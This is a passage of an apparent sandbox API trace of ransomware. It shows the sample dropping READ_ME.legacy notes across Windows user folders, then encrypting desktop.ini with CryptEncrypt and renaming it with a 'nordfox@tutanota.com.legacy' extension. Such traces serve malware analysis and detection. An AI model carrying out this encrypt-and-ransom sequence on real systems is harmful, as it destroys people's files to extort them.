hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0090.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b58 | out: hHeap=0x520000) returned 1 [0090.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672d8 [0090.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b58 [0090.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d28 [0090.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0090.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0090.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.284] GetLastError () returned 0x5 [0090.284] SetLastError (dwErrCode=0x5) [0090.284] GetLastError () returned 0x5 [0090.284] SetLastError (dwErrCode=0x5) [0090.284] GetLastError () returned 0x5 [0090.284] SetLastError (dwErrCode=0x5) [0090.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.284] CreateFileW (lpFileName="\\Users\\All Users\\READ_ME.legacy" (normalized: "c:\\users\\all users\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c [0090.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0090.286] WriteFile (in: hFile=0x46c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0090.287] CloseHandle (hObject=0x46c) returned 1 [0090.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0090.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0090.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d28 | out: hHeap=0x520000) returned 1 [0090.288] FindNextFileW (in: hFindFile=0x552ce0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x728d443f, cFileName="Default", cAlternateFileName="")) returned 1 [0090.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0090.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.288] GetLastError () returned 0x0 [0090.288] SetLastError (dwErrCode=0x0) [0090.288] GetLastError () returned 0x0 [0090.288] SetLastError (dwErrCode=0x0) [0090.288] GetLastError () returned 0x0 [0090.288] SetLastError (dwErrCode=0x0) [0090.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0090.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0090.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0090.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ce8 [0090.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552e60 [0090.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552e60 | out: hHeap=0x520000) returned 1 [0090.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0090.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0090.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ce8 | out: hHeap=0x520000) returned 1 [0090.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0090.288] FindNextFileW (in: hFindFile=0x552ce0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0090.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0090.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.289] GetLastError () returned 0x0 [0090.289] SetLastError (dwErrCode=0x0) [0090.289] GetLastError () returned 0x0 [0090.289] SetLastError (dwErrCode=0x0) [0090.289] GetLastError () returned 0x0 [0090.289] SetLastError (dwErrCode=0x0) [0090.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b80 [0090.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d38 [0090.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b80 | out: hHeap=0x520000) returned 1 [0090.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d38 | out: hHeap=0x520000) returned 1 [0090.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f20 [0090.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b80 [0090.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0090.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0090.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0090.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.289] GetLastError () returned 0x0 [0090.289] SetLastError (dwErrCode=0x0) [0090.290] GetLastError () returned 0x0 [0090.290] SetLastError (dwErrCode=0x0) [0090.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0090.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.290] GetLastError () returned 0x0 [0090.290] SetLastError (dwErrCode=0x0) [0090.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0090.290] CreateFileW (lpFileName="\\Users\\Default User\\READ_ME.legacy" (normalized: "c:\\users\\default user\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c [0090.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0090.291] WriteFile (in: hFile=0x46c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0090.292] CloseHandle (hObject=0x46c) returned 1 [0090.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0090.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0090.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0090.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0090.293] FindNextFileW (in: hFindFile=0x552ce0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Default.migrated", cAlternateFileName="DEFAUL~1.MIG")) returned 1 [0090.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0090.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.293] GetLastError () returned 0x0 [0090.293] SetLastError (dwErrCode=0x0) [0090.293] GetLastError () returned 0x0 [0090.293] SetLastError (dwErrCode=0x0) [0090.293] GetLastError () returned 0x0 [0090.293] SetLastError (dwErrCode=0x0) [0090.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cb8 [0090.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0090.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cb8 | out: hHeap=0x520000) returned 1 [0090.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0090.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566eb0 [0090.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ce8 [0090.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0090.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0090.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0090.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0090.294] GetLastError () returned 0x0 [0090.294] SetLastError (dwErrCode=0x0) [0090.294] GetLastError () returned 0x0 [0090.294] SetLastError (dwErrCode=0x0) [0090.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0090.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0090.294] GetLastError () returned 0x0 [0090.294] SetLastError (dwErrCode=0x0) [0090.294] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0090.294] CreateFileW (lpFileName="\\Users\\Default.migrated\\READ_ME.legacy" (normalized: "c:\\users\\default.migrated\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c [0090.299] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0090.299] WriteFile (in: hFile=0x46c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0090.300] CloseHandle (hObject=0x46c) returned 1 [0090.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0090.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0090.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0090.300] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0090.301] FindNextFileW (in: hFindFile=0x552ce0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9bc987, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.301] GetLastError () returned 0x0 [0090.301] SetLastError (dwErrCode=0x0) [0090.301] GetLastError () returned 0x0 [0090.301] SetLastError (dwErrCode=0x0) [0090.301] GetLastError () returned 0x0 [0090.301] SetLastError (dwErrCode=0x0) [0090.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d10 [0090.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d10 | out: hHeap=0x520000) returned 1 [0090.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0090.301] FindNextFileW (in: hFindFile=0x552ce0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="FD1HVy", cAlternateFileName="")) returned 1 [0090.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.302] GetLastError () returned 0x0 [0090.302] SetLastError (dwErrCode=0x0) [0090.302] GetLastError () returned 0x0 [0090.302] SetLastError (dwErrCode=0x0) [0090.302] GetLastError () returned 0x0 [0090.302] SetLastError (dwErrCode=0x0) [0090.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d10 [0090.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d38 [0090.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539610 [0090.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0090.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d120 [0090.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0090.302] GetLastError () returned 0x0 [0090.302] SetLastError (dwErrCode=0x0) [0090.302] GetLastError () returned 0x0 [0090.302] SetLastError (dwErrCode=0x0) [0090.303] GetLastError () returned 0x0 [0090.303] SetLastError (dwErrCode=0x0) [0090.303] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0090.303] CreateFileW (lpFileName="\\Users\\FD1HVy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c [0090.303] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0090.303] WriteFile (in: hFile=0x46c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0090.304] CloseHandle (hObject=0x46c) returned 1 [0090.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0090.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d120 | out: hHeap=0x520000) returned 1 [0090.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0090.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539610 | out: hHeap=0x520000) returned 1 [0090.305] FindNextFileW (in: hFindFile=0x552ce0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Public", cAlternateFileName="")) returned 1 [0090.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0090.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.305] GetLastError () returned 0x0 [0090.305] SetLastError (dwErrCode=0x0) [0090.305] GetLastError () returned 0x0 [0090.305] SetLastError (dwErrCode=0x0) [0090.305] GetLastError () returned 0x0 [0090.305] SetLastError (dwErrCode=0x0) [0090.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539610 [0090.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539ac0 [0090.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539b38 [0090.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0090.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0090.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.306] GetLastError () returned 0x0 [0090.306] SetLastError (dwErrCode=0x0) [0090.306] GetLastError () returned 0x0 [0090.306] SetLastError (dwErrCode=0x0) [0090.306] GetLastError () returned 0x0 [0090.306] SetLastError (dwErrCode=0x0) [0090.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0090.307] CreateFileW (lpFileName="\\Users\\Public\\READ_ME.legacy" (normalized: "c:\\users\\public\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c [0090.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0090.308] WriteFile (in: hFile=0x46c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0090.309] CloseHandle (hObject=0x46c) returned 1 [0090.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0090.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0090.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539b38 | out: hHeap=0x520000) returned 1 [0090.310] FindNextFileW (in: hFindFile=0x552ce0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83f2d1f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb83f2d1f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8900037, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0090.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0090.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0090.310] GetLastError () returned 0x0 [0090.310] SetLastError (dwErrCode=0x0) [0090.310] GetLastError () returned 0x0 [0090.310] SetLastError (dwErrCode=0x0) [0090.310] GetLastError () returned 0x0 [0090.310] SetLastError (dwErrCode=0x0) [0090.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5399a8 [0090.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5399a8 | out: hHeap=0x520000) returned 1 [0090.310] FindNextFileW (in: hFindFile=0x552ce0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83f2d1f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb83f2d1f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8900037, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0090.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0090.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0090.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0090.311] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0090.311] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0090.311] SetFileAttributesW (lpFileName="\\Users\\desktop.ini", dwFileAttributes=0x80) returned 1 [0090.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f90 [0090.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0090.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f90 | out: hHeap=0x520000) returned 1 [0090.311] CreateFileW (lpFileName="\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c [0090.312] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=174) returned 1 [0090.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xae) returned 0x2e20f20 [0090.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xae) returned 0x553500 [0090.312] ReadFile (in: hFile=0x46c, lpBuffer=0x2e20f20, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20f20*, lpNumberOfBytesRead=0x2e1f9bc*=0xae, lpOverlapped=0x0) returned 1 [0090.313] SetFilePointer (in: hFile=0x46c, lDistanceToMove=-174, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0090.313] WriteFile (in: hFile=0x46c, lpBuffer=0x553500*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x553500*, lpNumberOfBytesWritten=0x2e1f9bc*=0xae, lpOverlapped=0x0) returned 1 [0090.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0090.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0090.313] SetFilePointer (in: hFile=0x46c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xae [0090.313] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0090.313] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0090.314] WriteFile (in: hFile=0x46c, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0090.314] WriteFile (in: hFile=0x46c, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0090.314] CloseHandle (hObject=0x46c) returned 1 [0090.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0090.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0090.320] MoveFileExW (lpExistingFileName="\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), lpNewFileName="\\Users\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0090.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0090.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0090.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0090.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0090.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0090.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574d68 | out: hHeap=0x520000) returned 1 [0090.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539700 | out: hHeap=0x520000) returned 1 [0090.326] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xb894c443, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x553020 [0090.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0090.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 